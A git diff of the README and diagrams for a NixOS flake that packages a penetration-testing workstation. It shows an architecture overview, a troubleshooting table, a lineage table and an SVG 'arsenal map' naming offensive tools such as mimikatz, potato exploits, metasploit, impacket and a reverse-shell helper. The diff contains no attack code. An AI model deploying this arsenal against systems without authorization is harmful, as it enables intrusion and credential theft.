-- `dropterm`, `winsnap`, `vault-open`, `lid-control` call
- `hyprctl dispatch 'hl.dsp…'`: that is Hyprland 0.56's Lua dispatch syntax,
- so they work unchanged.
-- `winsnap` looks for an `omarchy-bar` layer to avoid the bar; Caelestia's
- layers are `caelestia-*`, so snaps ignore the bar's reserved edge for now.
-- `lid-control` still calls a few `omarchy-*` helpers (tolerated: they fail
- quietly); `clipboard-backup` and `omarchy-menu-tmux-keybindings` are bound
- but not in the carried `bin/`.
-- The cheat popups (`omarchy-menu-kitty`, …) pipe into `omarchy-menu-select`,
- provided here as a fuzzel wrapper (modules/home/hyprland.nix). `nix-cheat`
- and `gpg-cheat` are this repo's own cards, in the same style.
-
-## Secrets
-
-Two tools. **sops-nix** keeps secrets *in this repo*, encrypted with age
-(`.sops.yaml` names the recipient, `secrets/secrets.yaml` holds the values)
-and decrypts them at activation: `/run/secrets/NAME` for the system
-(modules/hosts/laptop/sops.nix), `~/.config/sops-nix/secrets/NAME` for the user
-(modules/home/sops.nix). The age key is `~/.config/sops/age/keys.txt`,
-created on 2026-10-08 and **not in the repo**; back it up (vault) and give
-the system its copy once:
+**Anything else, just for your machine** — add it in
+`modules/hosts/generic/default.nix` under `environment.systemPackages`.
-```sh
-sudo install -D -m 600 -o root -g root ~/.config/sops/age/keys.txt /var/lib/sops-nix/key.txt
+**Finding names**: `nix search nixpkgs <word>`, or <https://search.nixos.org>.
+The attribute and the binary often differ (`thc-hydra` → `hydra`, `netexec` →
+`nxc`, `testssl` → `testssl.sh`); `expectedBins` is where that mismatch gets
+caught. Then `git add` any new file and `nh os switch`.
+
+**A whole new category** is one new file calling the category factory
+(`_sets.nix`) plus one line in `modules/features/pentest/default.nix`; copy
+`recon.nix` as the template.
+
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
+
+<a id="06-architecture"></a>
+<div align="center"><img src="docs/images/headers/07-architecture.png" width="800" alt="[06] ARCHITECTURE"/></div>
+
+The flake is **dendritic**: [flake-parts](https://flake.parts) loads every
+`*.nix` under `modules/` (via import-tree) as a module, and each file declares
+the outputs it owns. Modules refer to each other by name through `self`, never
+by path. Files and directories whose path contains `/_` are skipped — that is
+where plain data and helper files live.
+
+```text
+NixDaemon/
+├── flake.nix inputs; outputs = import-tree ./modules
+├── docs/install.md installing, every platform
+└── modules/
+ ├── hosts/
+ │ ├── generic/ ← YOUR machine: nixosConfigurations.nixdaemon
+ │ │ ├── _settings.nix the one file you edit
+ │ │ ├── _hardware-configuration.nix
+ │ │ ├── default.nix self.lib.mkHost settings → a NixOS system
+ │ │ └── home.nix the shared, self-contained home
+ │ └── laptop/ the author's machine (needs his secrets; not for you)
+ ├── features/
+ │ ├── pentest/ 23 categories + the HTB workflow + the arsenal
+ │ │ ├── _sets.nix category factory: package list → module + check + dev shell
+ │ │ ├── htb.nix vpn.nix boxes.nix time.nix casts.nix helpers.nix
+ │ │ └── payloads.nix paths.nix _pkgs/ the pinned, cross-built arsenal
+ │ └── desktop/ niri + noctalia as wrapped packages (`nix run .#niri`)
+ └── home/ home-manager modules (terminal, prompt, neovim, cheats …)
```
-Edit with `sops secrets/secrets.yaml`, declare with `sops.secrets.NAME = { };`,
-rebuild. `nix-cheat secrets` has the commands.
-
-What the file holds today: `ssh_id_ed25519` (the SSH private key, used by
-modules/home/ssh.nix), `gpg_main_secret` (the armored GPG secret key, still
-under its own passphrase, imported by modules/home/gpg.nix on first
-activation), and `example`. So a fresh install needs exactly one secret
-restored by hand, the age key; ssh, gpg and git then come up from the flake.
-
-**secretspec** is for a project's runtime secrets: declared next to the
-project in `secretspec.toml`, values in the system keyring
-(`~/.config/secretspec/config.toml`: provider `keyring`, profile `default`;
-gnome-keyring is unlocked at login by PAM). `secretspec init`, `secretspec
-add NAME`, `secretspec check`, `secretspec run -- cmd`.
-
-## Look and keys
-
-- **Caelestia in Rosé Pine dark** (main), translucent over blur, with its
- framed bar: a 10 px border with 25 px rounded inner corners, clock and
- tray in pills, filled occupied workspaces, the Nix snowflake as the logo.
- Sidebar, utilities and notification panels are narrower than stock
- (`modules/home/caelestia/shell-tokens.json`). A Dawn mapping is registered too:
- `caelestia scheme set -n rose-pine -f rose-pine-dawn`.
-- **Bar shows the program**, not the window title: a small patch to the
- shell's ActiveWindow component (`modules/home/caelestia/active-window-program-name.patch`,
- applied in caelestia.nix) makes compact mode use the desktop entry's name
- for the window class. The shell compiles locally because of it.
-- **More shell**: desktop clock on the wallpaper (bottom right), audio
- visualiser along the bottom while something plays, weather on the
- dashboard (Douglas), audio and microphone status icons, lock screen over
- the wallpaper, a toast on track change, vim keys in the launcher, and
- idle: lock after 15 min, screen off after 20 (audio or an inhibitor holds
- both off).
-- **Springy windows**: `modules/home/hypr/looknfeel.lua` carries the dotfiles'
- animation rice (overshoot curves on move/resize/open, shadows, blur
- tuning, drag snapping, swallow, 3-finger workspace swipe, 4-finger-up
- fullscreen). Loaded after core.lua.
-- **kitty, tmux-style** (`ctrl+a` prefix; table in modules/home/terminal.nix):
- `c` tab, `-`/`|` splits, `hjkl` panes, `z` zoom, `[` copy mode in Neovim
- (`v` select, `y` copy, Enter copy and leave, `q`), `]` paste, `1..9` tabs,
- `ctrl+a ctrl+a` sends a real ctrl+a to the shell.
-- `CTRL+SUPER+SPACE` opens the Caelestia launcher in its wallpaper grid
- (helper `wallpaper-picker`); `>wallpaper name` filters. The directory is
- `paths.wallpaperDir` in modules/home/caelestia.nix.
-- Keys to try first: SUPER+RETURN terminal, SUPER+SPACE launcher,
- SUPER+ESCAPE session menu, SUPER+K keybindings list, SUPER+M window mode,
- SUPER+` dropdown terminal, PRINT screenshot.
-
-## Why `uniwill-laptop` is built here
-
-`stability_guard.py` reads the `uniwill` hwmon (board GPU temperature, main
-fan rpm) and falls back to a permanent 1.8 GHz ceiling without it. The driver
-was merged upstream in Linux 6.19; nixpkgs' 6.18 kernel predates it and the
-7.2 kernel config leaves its Kconfig submenu off. `modules/hosts/laptop/uniwill-laptop/`
-holds the v6.19 sources and builds them as an out-of-tree module against
-whatever kernel is selected (verified on 6.18.55). Revisit when the default
-NixOS kernel ships it.
-
-## Parked for the owner
-
-- **ANSI green**: Rosé Pine puts pine (#31748f) in the green slot; the rule
- says pine is never ink. kitty uses foam (#9ccfd8) for color2/color10
- meanwhile; one variable in modules/home/terminal.nix.
-- **Display manager**: greetd + tuigreet chosen (text greeter, remembers
- user and session). sddm would be a one-file swap.
-- **GPU / MUX**: configured for what the firmware presents, the panel on the
- RTX 3070 Ti (discrete). The hybrid alternative is a commented block in
- nvidia.nix; it only applies after changing the MUX in the BIOS.
-- **Hostname** stays `nixos` (the installer's). The flake output is also `nixos`.
-- Stock Omarchy keys whose program is still not installed (spotify,
- 1password, signal) show a notification saying so. Add packages to
- modules/home/tools.nix when wanted.
+Two hosts share one toolkit. `nixdaemon` (generic) is built from
+`_settings.nix` and nothing personal; `nixos` (the author's laptop) layers his
+identity, secrets, dotfiles and hardware fixes on top. The generic host builds
+without anyone's keys.
+
+<div align="center"><img src="docs/images/dividers/rose.png" width="600" alt=""/></div>
+
+<a id="07-when-things-break"></a>
+<div align="center"><img src="docs/images/headers/08-when-things-break.png" width="800" alt="[07] WHEN THINGS BREAK"/></div>
+
+| Symptom | Fix |
+|---|---|
+| "path does not exist" / missing attribute | `git add -A` — flakes only see tracked files |
+| Black screen after logging in to Niri | no 3D in the VM: `desktop = "xfce"`, rebuild from a text console (Ctrl+Alt+F2) |
+| `Failed assertions: _settings.nix: …` | a value is misspelled; the message names it |
+| Doesn't boot after install | wrong `boot` mode or `biosDevice`; fix from the ISO and re-run `nixos-install` |
+| Build killed / frozen | out of RAM: add `--max-jobs 1 --cores 2` |
+| `hash mismatch` on a payload | upstream changed a release file: `pentest-update` |
+| Anything after a rebuild | boot the previous generation; nothing is lost |
+
+More in [docs/install.md § 9](docs/install.md#9-when-something-goes-wrong).
+
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
+
+<a id="08-documentation"></a>
+<div align="center"><img src="docs/images/headers/09-documentation.png" width="800" alt="[08] DOCUMENTATION"/></div>
+
+| Where | What |
+|---|---|
+| [docs/install.md](docs/install.md) | installing on bare metal, every hypervisor, an existing NixOS, or just the tools |
+| `pentest-cheat` · [cheats/pentest.md](modules/home/cheats/pentest.md) | the toolkit and the HTB workflow, by section |
+| `niri-cheat` · [cheats/niri.md](modules/home/cheats/niri.md) | the desktop's keys |
+| `nix-cheat` · [cheats/nix.md](modules/home/cheats/nix.md) | rebuilding, updating, rollback, the repo |
+| [modules/hosts/generic/_settings.nix](modules/hosts/generic/_settings.nix) | every machine setting, commented |
+| the header comment of each `modules/**/*.nix` | why that file is the way it is |
+
+<div align="center"><img src="docs/images/dividers/rose.png" width="600" alt=""/></div>
+
+<a id="09-lineage"></a>
+<div align="center"><img src="docs/images/headers/10-lineage.png" width="800" alt="[09] LINEAGE — FROM ICEBREAKER"/></div>
+
+NixDaemon replaces **IceBreaker**, the earlier NixOS pentest flake (12
+categories, XFCE/Hyprland, a `setup.sh` installer, pipx for the Python
+tools). What changed, and what came across:
+
+| IceBreaker | NixDaemon |
+|---|---|
+| `setup.sh` edits files, then rebuilds | one `_settings.nix`, then plain `nixos-install` / `nixos-rebuild` |
+| pipx installs Python tools at runtime | one pinned Python env; impacket scripts by bare name, collision-guarded |
+| `ligolo-fetch.sh` downloads agents | ligolo-ng, chisel, fscan, pspy cross-built from source per OS/arch |
+| `newbox`, `flag`, `cred`, `~/targets/` | `htbbox` with `box.json`, writes `/etc/hosts`, imports nmap XML |
+| `settarget` + `~/.target.env` | `htbtarget`, live in every open terminal at its next prompt |
+| `nmap-init` / `nmap-allports` / `nmap-targeted` | `htbscan [full\|ports\|udp]`, straight into the box |
+| `revshell`, `hcmode` | carried over: `revshell` uses the tunnel IP, `hcmode` searches the installed hashcat |
+| presets | `pentest = { … }` switches in `_settings.nix` |
+| — | `nix flake check`: every category smoke-tested, VM tests for the HTB helpers |
+
+The section headers, dividers and diagrams on this page are IceBreaker's
+graphics, redrawn for NixDaemon.
---
-<p align="center">☧ · <a href="https://rosepinetheme.com/">Rosé Pine</a> all the way down · built with Claude Code</p>
+<p align="center">☧ · <a href="https://rosepinetheme.com/">Rosé Pine</a> all the way down · authorised targets only</p>
diff --git a/docs/images/arsenal-map.svg b/docs/images/arsenal-map.svg
@@ -0,0 +1,93 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1720 1000" width="1720" height="1000" font-family="'JetBrains Mono','SFMono-Regular',ui-monospace,Menlo,Consolas,monospace">
+<defs><pattern id="grid" width="40" height="40" patternUnits="userSpaceOnUse"><path d="M40 0H0V40" fill="none" stroke="#cbf7ad" stroke-opacity="0.04"/></pattern>
+<filter id="glow" x="-20%" y="-50%" width="140%" height="200%"><feGaussianBlur stdDeviation="3" result="b"/><feMerge><feMergeNode in="b"/><feMergeNode in="SourceGraphic"/></feMerge></filter></defs>
+<rect width="1720" height="1000" fill="#0a0e14"/><rect width="1720" height="1000" fill="url(#grid)"/>
+<path d="M20 64V20H64" fill="none" stroke="#c4a7e7" stroke-width="3"/><path d="M1656 20H1700V64" fill="none" stroke="#c4a7e7" stroke-width="3"/><path d="M20 936V980H64" fill="none" stroke="#c4a7e7" stroke-width="3"/><path d="M1656 980H1700V936" fill="none" stroke="#c4a7e7" stroke-width="3"/>
+<text x="860.0" y="70" text-anchor="middle" font-size="30" font-weight="700" letter-spacing="17" fill="#cbf7ad" filter="url(#glow)">ARSENAL MAP</text>
+<rect x="46" y="108" width="392" height="232" fill="#7ee8fa" fill-opacity="0.035" stroke="#7ee8fa" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M46 130V108H68" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M416 108H438V130" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M46 318V340H68" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M416 340H438V318" fill="none" stroke="#7ee8fa" stroke-width="2"/>
+<text x="242.0" y="154" text-anchor="middle" font-size="21" font-weight="700" fill="#7ee8fa" filter="url(#glow)">░ RECON ░</text>
+<line x1="70" y1="172" x2="414" y2="172" stroke="#7ee8fa" stroke-opacity="0.5"/>
+<text x="242.0" y="216" text-anchor="middle" font-size="19" fill="#cfd6e0">nmap · rustscan</text>
+<text x="242.0" y="260" text-anchor="middle" font-size="19" fill="#cfd6e0">nxc · enum4linux-ng</text>
+<text x="242.0" y="304" text-anchor="middle" font-size="19" fill="#cfd6e0">snmpwalk · sslscan</text>
+<rect x="460" y="108" width="392" height="232" fill="#cbf7ad" fill-opacity="0.035" stroke="#cbf7ad" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M460 130V108H482" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M830 108H852V130" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M460 318V340H482" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M830 340H852V318" fill="none" stroke="#cbf7ad" stroke-width="2"/>
+<text x="656.0" y="154" text-anchor="middle" font-size="21" font-weight="700" fill="#cbf7ad" filter="url(#glow)">░ WEB ░</text>
+<line x1="484" y1="172" x2="828" y2="172" stroke="#cbf7ad" stroke-opacity="0.5"/>
+<text x="656.0" y="216" text-anchor="middle" font-size="19" fill="#cfd6e0">ffuf · feroxbuster</text>
+<text x="656.0" y="260" text-anchor="middle" font-size="19" fill="#cfd6e0">sqlmap · nuclei</text>
+<text x="656.0" y="304" text-anchor="middle" font-size="19" fill="#cfd6e0">wafw00f · interactsh</text>
+<rect x="874" y="108" width="392" height="232" fill="#eb6f92" fill-opacity="0.035" stroke="#eb6f92" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M874 130V108H896" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M1244 108H1266V130" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M874 318V340H896" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M1244 340H1266V318" fill="none" stroke="#eb6f92" stroke-width="2"/>
+<text x="1070.0" y="154" text-anchor="middle" font-size="21" font-weight="700" fill="#eb6f92" filter="url(#glow)">░ ACTIVE DIRECTORY ░</text>
+<line x1="898" y1="172" x2="1242" y2="172" stroke="#eb6f92" stroke-opacity="0.5"/>
+<text x="1070.0" y="216" text-anchor="middle" font-size="19" fill="#cfd6e0">impacket · certipy</text>
+<text x="1070.0" y="260" text-anchor="middle" font-size="19" fill="#cfd6e0">bloodyAD · krbrelayx</text>
+<text x="1070.0" y="304" text-anchor="middle" font-size="19" fill="#cfd6e0">BloodHound CE</text>
+<rect x="1288" y="108" width="392" height="232" fill="#ffb347" fill-opacity="0.035" stroke="#ffb347" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M1288 130V108H1310" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M1658 108H1680V130" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M1288 318V340H1310" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M1658 340H1680V318" fill="none" stroke="#ffb347" stroke-width="2"/>
+<text x="1484.0" y="154" text-anchor="middle" font-size="21" font-weight="700" fill="#ffb347" filter="url(#glow)">░ CRACK ░</text>
+<line x1="1312" y1="172" x2="1656" y2="172" stroke="#ffb347" stroke-opacity="0.5"/>
+<text x="1484.0" y="216" text-anchor="middle" font-size="19" fill="#cfd6e0">hashcat · john</text>
+<text x="1484.0" y="260" text-anchor="middle" font-size="19" fill="#cfd6e0">hydra · haiti</text>
+<text x="1484.0" y="304" text-anchor="middle" font-size="19" fill="#cfd6e0">hcmode</text>
+<rect x="46" y="364" width="392" height="232" fill="#c4a7e7" fill-opacity="0.035" stroke="#c4a7e7" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M46 386V364H68" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M416 364H438V386" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M46 574V596H68" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M416 596H438V574" fill="none" stroke="#c4a7e7" stroke-width="2"/>
+<text x="242.0" y="410" text-anchor="middle" font-size="21" font-weight="700" fill="#c4a7e7" filter="url(#glow)">░ PIVOT ░</text>
+<line x1="70" y1="428" x2="414" y2="428" stroke="#c4a7e7" stroke-opacity="0.5"/>
+<text x="242.0" y="472" text-anchor="middle" font-size="19" fill="#cfd6e0">ligolo-ng · chisel</text>
+<text x="242.0" y="516" text-anchor="middle" font-size="19" fill="#cfd6e0">proxychains · sshuttle</text>
+<text x="242.0" y="560" text-anchor="middle" font-size="19" fill="#cfd6e0">gost · frp</text>
+<rect x="460" y="364" width="392" height="232" fill="#eb6f92" fill-opacity="0.035" stroke="#eb6f92" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M460 386V364H482" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M830 364H852V386" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M460 574V596H482" fill="none" stroke="#eb6f92" stroke-width="2"/><path d="M830 596H852V574" fill="none" stroke="#eb6f92" stroke-width="2"/>
+<text x="656.0" y="410" text-anchor="middle" font-size="21" font-weight="700" fill="#eb6f92" filter="url(#glow)">░ SHELLS ░</text>
+<line x1="484" y1="428" x2="828" y2="428" stroke="#eb6f92" stroke-opacity="0.5"/>
+<text x="656.0" y="472" text-anchor="middle" font-size="19" fill="#cfd6e0">metasploit · pwncat</text>
+<text x="656.0" y="516" text-anchor="middle" font-size="19" fill="#cfd6e0">revshell · rlwrap</text>
+<text x="656.0" y="560" text-anchor="middle" font-size="19" fill="#cfd6e0">freerdp · updog</text>
+<rect x="874" y="364" width="392" height="232" fill="#cbf7ad" fill-opacity="0.035" stroke="#cbf7ad" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M874 386V364H896" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M1244 364H1266V386" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M874 574V596H896" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M1244 596H1266V574" fill="none" stroke="#cbf7ad" stroke-width="2"/>
+<text x="1070.0" y="410" text-anchor="middle" font-size="21" font-weight="700" fill="#cbf7ad" filter="url(#glow)">░ PAYLOADS ░</text>
+<line x1="898" y1="428" x2="1242" y2="428" stroke="#cbf7ad" stroke-opacity="0.5"/>
+<text x="1070.0" y="472" text-anchor="middle" font-size="19" fill="#cfd6e0">potatoes · mimikatz</text>
+<text x="1070.0" y="516" text-anchor="middle" font-size="19" fill="#cfd6e0">SharpCollection</text>
+<text x="1070.0" y="560" text-anchor="middle" font-size="19" fill="#cfd6e0">PEASS · per-arch ligolo</text>
+<rect x="1288" y="364" width="392" height="232" fill="#7ee8fa" fill-opacity="0.035" stroke="#7ee8fa" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M1288 386V364H1310" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M1658 364H1680V386" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M1288 574V596H1310" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M1658 596H1680V574" fill="none" stroke="#7ee8fa" stroke-width="2"/>
+<text x="1484.0" y="410" text-anchor="middle" font-size="21" font-weight="700" fill="#7ee8fa" filter="url(#glow)">░ WORDLISTS ░</text>
+<line x1="1312" y1="428" x2="1656" y2="428" stroke="#7ee8fa" stroke-opacity="0.5"/>
+<text x="1484.0" y="472" text-anchor="middle" font-size="19" fill="#cfd6e0">SecLists · rockyou</text>
+<text x="1484.0" y="516" text-anchor="middle" font-size="19" fill="#cfd6e0">exploitdb</text>
+<text x="1484.0" y="560" text-anchor="middle" font-size="19" fill="#cfd6e0">$WORDLISTS</text>
+<rect x="46" y="620" width="392" height="232" fill="#ffb347" fill-opacity="0.035" stroke="#ffb347" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M46 642V620H68" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M416 620H438V642" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M46 830V852H68" fill="none" stroke="#ffb347" stroke-width="2"/><path d="M416 852H438V830" fill="none" stroke="#ffb347" stroke-width="2"/>
+<text x="242.0" y="666" text-anchor="middle" font-size="21" font-weight="700" fill="#ffb347" filter="url(#glow)">░ CORE ░</text>
+<line x1="70" y1="684" x2="414" y2="684" stroke="#ffb347" stroke-opacity="0.5"/>
+<text x="242.0" y="728" text-anchor="middle" font-size="19" fill="#cfd6e0">socat · samba</text>
+<text x="242.0" y="772" text-anchor="middle" font-size="19" fill="#cfd6e0">krb5 · openldap</text>
+<text x="242.0" y="816" text-anchor="middle" font-size="19" fill="#cfd6e0">~/pentesting arsenal</text>
+<rect x="460" y="620" width="392" height="232" fill="#c4a7e7" fill-opacity="0.035" stroke="#c4a7e7" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M460 642V620H482" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M830 620H852V642" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M460 830V852H482" fill="none" stroke="#c4a7e7" stroke-width="2"/><path d="M830 852H852V830" fill="none" stroke="#c4a7e7" stroke-width="2"/>
+<text x="656.0" y="666" text-anchor="middle" font-size="21" font-weight="700" fill="#c4a7e7" filter="url(#glow)">░ PYTHON ░</text>
+<line x1="484" y1="684" x2="828" y2="684" stroke="#c4a7e7" stroke-opacity="0.5"/>
+<text x="656.0" y="728" text-anchor="middle" font-size="19" fill="#cfd6e0">one offensive env</text>
+<text x="656.0" y="772" text-anchor="middle" font-size="19" fill="#cfd6e0">impacket by name</text>
+<text x="656.0" y="816" text-anchor="middle" font-size="19" fill="#cfd6e0">dploot · masky</text>
+<rect x="874" y="620" width="392" height="232" fill="#7ee8fa" fill-opacity="0.035" stroke="#7ee8fa" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M874 642V620H896" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M1244 620H1266V642" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M874 830V852H896" fill="none" stroke="#7ee8fa" stroke-width="2"/><path d="M1244 852H1266V830" fill="none" stroke="#7ee8fa" stroke-width="2"/>
+<text x="1070.0" y="666" text-anchor="middle" font-size="21" font-weight="700" fill="#7ee8fa" filter="url(#glow)">░ GUI ░</text>
+<line x1="898" y1="684" x2="1242" y2="684" stroke="#7ee8fa" stroke-opacity="0.5"/>
+<text x="1070.0" y="728" text-anchor="middle" font-size="19" fill="#cfd6e0">burpsuite · zap</text>
+<text x="1070.0" y="772" text-anchor="middle" font-size="19" fill="#cfd6e0">ghidra · cutter</text>
+<text x="1070.0" y="816" text-anchor="middle" font-size="19" fill="#cfd6e0">wireshark</text>
+<rect x="1288" y="620" width="392" height="232" fill="#cbf7ad" fill-opacity="0.035" stroke="#cbf7ad" stroke-opacity="0.55" stroke-dasharray="6 5"/>
+<path d="M1288 642V620H1310" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M1658 620H1680V642" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M1288 830V852H1310" fill="none" stroke="#cbf7ad" stroke-width="2"/><path d="M1658 852H1680V830" fill="none" stroke="#cbf7ad" stroke-width="2"/>
+<text x="1484.0" y="666" text-anchor="middle" font-size="21" font-weight="700" fill="#cbf7ad" filter="url(#glow)">░ WORKFLOW ░</text>
+<line x1="1312" y1="684" x2="1656" y2="684" stroke="#cbf7ad" stroke-opacity="0.5"/>
+<text x="1484.0" y="728" text-anchor="middle" font-size="19" fill="#cfd6e0">htbvpn · htbtarget</text>
+<text x="1484.0" y="772" text-anchor="middle" font-size="19" fill="#cfd6e0">htbbox · htbscan</text>
+<text x="1484.0" y="816" text-anchor="middle" font-size="19" fill="#cfd6e0">htbcast</text>
+<text x="860.0" y="890" text-anchor="middle" font-size="18" fill="#6e7a8a">on by default ↑ · one line in _settings.nix to add ↓</text>
+<text x="860.0" y="930" text-anchor="middle" font-size="19" fill="#ffb347">[off] dfir · reversing · wireless · radio · hardware · c2 · database · cloud · osint · social · mobile</text>
+</svg>
+\ No newline at end of file
diff --git a/docs/images/dividers/phosphor.png b/docs/images/dividers/phosphor.png
Binary files differ.
diff --git a/docs/images/dividers/rose.png b/docs/images/dividers/rose.png
Binary files differ.
diff --git a/docs/images/headers/00-what-is-this.png b/docs/images/headers/00-what-is-this.png
Binary files differ.
diff --git a/docs/images/headers/01-payload-manifest.png b/docs/images/headers/01-payload-manifest.png
Binary files differ.
diff --git a/docs/images/headers/02-system-requirements.png b/docs/images/headers/02-system-requirements.png
Binary files differ.
diff --git a/docs/images/headers/03-installation.png b/docs/images/headers/03-installation.png
Binary files differ.
diff --git a/docs/images/headers/04-daily-ops.png b/docs/images/headers/04-daily-ops.png
Binary files differ.
diff --git a/docs/images/headers/05-arsenal.png b/docs/images/headers/05-arsenal.png
Binary files differ.
diff --git a/docs/images/headers/06-adding-removing.png b/docs/images/headers/06-adding-removing.png
Binary files differ.
diff --git a/docs/images/headers/07-architecture.png b/docs/images/headers/07-architecture.png
Binary files differ.
diff --git a/docs/images/headers/08-when-things-break.png b/docs/images/headers/08-when-things-break.png
Binary files differ.
diff --git a/docs/images/headers/09-documentation.png b/docs/images/headers/09-documentation.png
Binary files differ.
diff --git a/docs/images/headers/10-lineage.png b/docs/images/headers/10-lineage.png
Binary files differ.
diff --git a/docs/images/jack-in-flow.svg b/docs/images/jack-in-flow.svg
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 540" width="1500" height="540" font-family="'JetBrains Mono','SFMono-Regular',ui-monospace,Menlo,Consolas,monospace" font-weight="500">
+ <defs>
+ <pattern id="halftone" width="6" height="6" patternUnits="userSpaceOnUse">
+ <rect width="6" height="6" fill="#0a0e14"/>
+ <circle cx="3" cy="3" r="1.1" fill="#cbf7ad" fill-opacity="0.55"/>
+ </pattern>
+ <pattern id="halftoneAmber" width="6" height="6" patternUnits="userSpaceOnUse">
+ <rect width="6" height="6" fill="#0a0e14"/>
+ <circle cx="3" cy="3" r="1.1" fill="#ffb347" fill-opacity="0.6"/>
+ </pattern>
+ <marker id="arrow" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="9" markerHeight="9" orient="auto-start-reverse">
+ <path d="M0,0 L10,5 L0,10 z" fill="#cbf7ad"/>
+ </marker>
+ </defs>
+
+ <rect width="100%" height="100%" fill="#0a0e14"/>
+
+ <!-- Title strip -->
+ <g transform="translate(40,28)">
+ <rect x="0" y="4" width="44" height="22" fill="url(#halftone)"/>
+ <text xml:space="preserve" x="380" y="22" font-size="22" fill="#cbf7ed" letter-spacing="6" text-anchor="middle">J A C K - I N F L O W</text>
+ <rect x="716" y="4" width="44" height="22" fill="url(#halftone)"/>
+ </g>
+
+ <!-- Boxes -->
+ <g font-size="22" fill="#cbf7ad" stroke="#cbf7ad" stroke-width="1.6">
+ <!-- Box 1 -->
+ <rect x="60" y="92" width="270" height="120" fill="none"/>
+ <text x="195" y="138" text-anchor="middle" stroke="none">git clone</text>
+ <text x="195" y="172" text-anchor="middle" stroke="none">~/NixDaemon</text>
+ <!-- Box 2 -->
+ <rect x="430" y="92" width="270" height="120" fill="none"/>
+ <text x="565" y="138" text-anchor="middle" stroke="none">_settings.nix</text>
+ <text x="565" y="172" text-anchor="middle" stroke="none">hardware.nix</text>
+ <!-- Box 3 -->
+ <rect x="800" y="92" width="270" height="120" fill="none"/>
+ <text x="935" y="138" text-anchor="middle" stroke="none">nixos-install</text>
+ <text x="935" y="172" text-anchor="middle" stroke="none">#nixdaemon</text>
+ <!-- Box 4 -->
+ <rect x="1170" y="92" width="270" height="120" fill="none"/>
+ <text x="1305" y="138" text-anchor="middle" stroke="none">jack in</text>
+ <text x="1305" y="172" text-anchor="middle" stroke="none">operator@nixdaemon</text>
+ </g>
+
+ <!-- Arrows + labels -->
+ <g stroke="#cbf7ad" stroke-width="1.6" fill="none">
+ <line x1="332" y1="152" x2="426" y2="152" marker-end="url(#arrow)"/>
+ <line x1="702" y1="152" x2="796" y2="152" marker-end="url(#arrow)"/>
+ <line x1="1072" y1="152" x2="1166" y2="152" marker-end="url(#arrow)"/>
+ </g>
+ <g font-size="18" fill="#ffb347" text-anchor="middle">
+ <text x="379" y="138">edit</text>
+ <text x="749" y="138">nix</text>
+ <text x="1119" y="138">boot</text>
+ </g>
+
+ <!-- Drop arrows -->
+ <g stroke="#7ee8fa" stroke-width="1.4" fill="none">
+ <line x1="195" y1="214" x2="195" y2="276" marker-end="url(#arrow)"/>
+ <line x1="565" y1="214" x2="565" y2="276" marker-end="url(#arrow)"/>
+ <line x1="935" y1="214" x2="935" y2="276" marker-end="url(#arrow)"/>
+ <line x1="1305" y1="214" x2="1305" y2="276" marker-end="url(#arrow)"/>
+ </g>
+
+ <!-- Halftone tiles -->
+ <g font-size="20" fill="#cbf7ad" font-family="'JetBrains Mono',ui-monospace,Menlo,monospace">
+ <!-- Col 1 -->
+ <g transform="translate(60,288)">
+ <rect x="0" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="18" text-anchor="middle">any machine</text>
+ <rect x="0" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="52" text-anchor="middle">x86_64 · arm</text>
+ <rect x="0" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="86" text-anchor="middle">60 GB disk</text>
